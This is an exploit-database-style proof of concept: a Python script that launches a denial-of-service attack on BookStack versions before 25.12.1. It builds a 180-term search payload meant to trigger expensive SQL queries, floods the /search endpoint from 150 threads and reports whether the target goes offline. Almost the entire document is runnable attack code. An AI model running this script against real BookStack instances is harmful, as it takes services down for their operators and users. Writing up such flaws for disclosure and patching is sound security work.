# Exploit Title: BookStack 25.12.1 - Denial of Service
Search Terms (Resource Exhaustion)
# Date: 2026-04-29
# Exploit Author: Gabriel Rodrigues (TEXUGO)
# Vendor Homepage: https://www.bookstackapp.com
# Software Link: https://github.com/BookStackApp/BookStack
# Version: < 25.12.1
# Tested on: BookStack v25.12 (Docker) + PHP 8.3 + MySQL 8.0
# CVE: Pending (Request ID: 1970573)
# References:
# https://www.bookstackapp.com/blog/bookstack-release-v25-12-1/
# https://github.com/BookStackApp/BookStack/security/advisories (if any)
"""
BookStack DoS PoC
python3 poc_dos_search.py http://localhost:8080 [cookie]
"""
import requests, sys, time
from urllib.parse import quote
from concurrent.futures import ThreadPoolExecutor
# Payload: 100 termos + 50 exatos + 30 tags = 180 termos de busca
# Gera query SQL com muitos OR LIKE, full table scans e subqueries
PAYLOAD = " ".join([f"t{i}" for i in range(100)] + [f'"e{i}"' for i in range(50)] + [f"[t{i}=v{i}]" for i in range(30)])
stop = False
def attack(url, headers):
s = requests.Session()
while not stop:
try:
s.get(url, headers=headers, timeout=30)
except:
pass
def main():
global stop
url = sys.argv[1].rstrip("/")
cookie = sys.argv[2] if len(sys.argv) > 2 else None
search_url = f"{url}/search?term={quote(PAYLOAD)}"
headers = {"Cookie": cookie} if cookie else {}
print(f"[*] Query: {PAYLOAD[:80]}...")
print(f"[*] URL completa tem {len(search_url)} bytes")
print(f"[*] Atacando {url} com 150 threads por 30s\n")
with ThreadPoolExecutor(150) as ex:
[ex.submit(attack, search_url, headers) for _ in range(150)]
for i in range(15):
time.sleep(2)
try:
r = requests.get(url, timeout=3)
print(f"[{(i+1)*2:2d}s] ONLINE - {r.status_code}")
except requests.exceptions.Timeout:
print(f"[{(i+1)*2:2d}s] OFFLINE - TIMEOUT")
except:
print(f"[{(i+1)*2:2d}s] OFFLINE - CONNECTION ERROR")
stop = True
if __name__ == "__main__":
main()